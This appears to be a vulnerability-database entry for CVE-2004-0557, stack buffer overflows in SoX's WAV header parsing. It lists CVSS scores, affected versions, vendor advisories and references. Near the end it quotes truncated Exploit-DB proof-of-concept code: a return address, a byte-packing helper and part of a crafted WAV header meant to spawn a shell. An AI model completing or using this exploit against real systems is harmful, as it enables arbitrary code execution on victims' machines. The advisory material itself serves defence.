CVE-2004-0557
published 2004-08-06CVE-2004-0557: Multiple buffer overflows in the st_wavstartread function in wav.c for Sound eXchange (SoX) 12.17.2 through 12.17.4 allow remote attackers to execute arbitrary…
PriorityP352critical10CVSS 2.0
AVNACLAuNCCICAC
EXPLOIT
EPSS
25.08%
97.7th percentile
Multiple buffer overflows in the st_wavstartread function in wav.c for Sound eXchange (SoX) 12.17.2 through 12.17.4 allow remote attackers to execute arbitrary code via certain WAV file header fields.
Affected
15 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| debian | sox | < sox 12.17.4-9 (bookworm) | sox 12.17.4-9 (bookworm) |
| gentoo | linux | — | — |
| redhat | enterprise_linux | — | — |
| redhat | enterprise_linux_desktop | — | — |
| redhat | fedora_core | — | — |
| redhat | fedora_core | — | — |
| sox | sox | — | — |
| sox | sox | — | — |
| sox | sox | — | — |
| sox | sox | >= 0 < 12.17.4-9 | 12.17.4-9 |
| sox | sox | >= 0 < 12.17.4-9 | 12.17.4-9 |
| sox | sox | >= 0 < 12.17.4-9 | 12.17.4-9 |
CVSS provenance
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
osv10.0CRITICAL
vendor_debian10.0CRITICAL
vendor_redhat10.0CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Red Hat
security flaw
vendor_redhat·2004-07-28·CVSS 10.0
CVE-2004-0557 [CRITICAL] security flaw
security flaw
Multiple buffer overflows in the st_wavstartread function in wav.c for Sound eXchange (SoX) 12.17.2 through 12.17.4 allow remote attackers to execute arbitrary code via certain WAV file header fields.
Debian
CVE-2004-0557: sox - Multiple buffer overflows in the st_wavstartread function in wav.c for Sound eXc...
vendor_debian·2004·CVSS 10.0
CVE-2004-0557 [CRITICAL] CVE-2004-0557: sox - Multiple buffer overflows in the st_wavstartread function in wav.c for Sound eXc...
Multiple buffer overflows in the st_wavstartread function in wav.c for Sound eXchange (SoX) 12.17.2 through 12.17.4 allow remote attackers to execute arbitrary code via certain WAV file header fields.
Scope: local
bookworm: resolved (fixed in 12.17.4-9)
bullseye: resolved (fixed in 12.17.4-9)
trixie: resolved (fixed in 12.17.4-9)
GHSA
GHSA-xxf9-f548-r28c: Multiple buffer overflows in the st_wavstartread function in wav
ghsa_unreviewed·2022-04-29
CVE-2004-0557 [HIGH] GHSA-xxf9-f548-r28c: Multiple buffer overflows in the st_wavstartread function in wav
Multiple buffer overflows in the st_wavstartread function in wav.c for Sound eXchange (SoX) 12.17.2 through 12.17.4 allow remote attackers to execute arbitrary code via certain WAV file header fields.
OSV
CVE-2004-0557: Multiple buffer overflows in the st_wavstartread function in wav
osv·2004-08-06·CVSS 10.0
CVE-2004-0557 [CRITICAL] CVE-2004-0557: Multiple buffer overflows in the st_wavstartread function in wav
Multiple buffer overflows in the st_wavstartread function in wav.c for Sound eXchange (SoX) 12.17.2 through 12.17.4 allow remote attackers to execute arbitrary code via certain WAV file header fields.
No detection rules found.
Exploit-DB
SoX - '.wav' Local Buffer Overflow
exploitdb·2004-08-04
CVE-2004-0557 SoX - '.wav' Local Buffer Overflow
SoX - '.wav' Local Buffer Overflow
---
//--------------------------------- Begin Code: sox-exploiter.c ---------------------------------
/*
Copyright Rosiello Security 2004
http://www.rosiello.org
CVE Reference: CAN-2004-0557
Bug Type: Stack Overflow
Date: 01/08/2004
Ulf Harnhammar reported that there are two buffer overflows in the 'sox' and 'play' commands.
The flaws reside in the st_wavstartread() function in 'wav.c', where the function reads data
based on a user-supplied size variable into a buffer without checking to see if the specified
amount of data will fit into the buffer.
The report indicates that older versions, including 12.17.1, 12.17 and 12.16, are not affected.
Vendors were reportedly notified on July 18, 2004.
Impact: A remote user can create a WAV file that, whe
Exploit-DB
SoX - Local Buffer Overflow
exploitdb·2004-08-01
CVE-2004-0557 SoX - Local Buffer Overflow
SoX - Local Buffer Overflow
---
# POC Exploit for SoX Stack Overflow Vulnerability found by Ulf Harnhammar
# Tested Under Slackware 9.1
# Serkan Akpolat [email protected] | [email protected]
# Homepage: http://deicide.siyahsapka.org
# Greets to: Virulent
# deicide@gate:~$ play britney.wav
# sh-2.05b$
# "jmp %esp" from libc.so , change this if needed..
retJmpEsp=0x4029824B
# intel_order() from MOSDEF
def intel_order(myint):
str=""
a=chr(myint % 256)
myint=myint >> 8
b=chr(myint % 256)
myint=myint >> 8
c=chr(myint % 256)
myint=myint >> 8
d=chr(myint % 256)
str+="%c%c%c%c" % (a,b,c,d)
return str
# Wave Header
begin = "\x52\x49\x46\x46\x74\x05\x00\x00\x57\x41\x56\x45\x66\x6d\x74\x20" +\
"\x32\x00\x00\x00\x02\x00\x01\x00\x70\x17\x00\x00\x00\x0c\x00\x00" +\
"\x00\x01\x04\x00\x20\x00\xf4
http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0014.htmlhttp://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000855http://lwn.net/Articles/95529/http://lwn.net/Articles/95530/http://seclists.org/fulldisclosure/2004/Jul/1227.htmlhttp://secunia.com/advisories/12175http://www.debian.org/security/2004/dsa-565http://www.gentoo.org/security/en/glsa/glsa-200407-23.xmlhttp://www.mandriva.com/security/advisories?name=MDKSA-2004:076http://www.redhat.com/support/errata/RHSA-2004-409.htmlhttp://www.securityfocus.com/bid/10819https://bugzilla.fedora.us/show_bug.cgi?id=1945https://exchange.xforce.ibmcloud.com/vulnerabilities/16827https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A9801http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0014.htmlhttp://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000855http://lwn.net/Articles/95529/http://lwn.net/Articles/95530/http://seclists.org/fulldisclosure/2004/Jul/1227.htmlhttp://secunia.com/advisories/12175http://www.debian.org/security/2004/dsa-565http://www.gentoo.org/security/en/glsa/glsa-200407-23.xmlhttp://www.mandriva.com/security/advisories?name=MDKSA-2004:076http://www.redhat.com/support/errata/RHSA-2004-409.htmlhttp://www.securityfocus.com/bid/10819https://bugzilla.fedora.us/show_bug.cgi?id=1945https://exchange.xforce.ibmcloud.com/vulnerabilities/16827https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A9801
2004-08-06
Published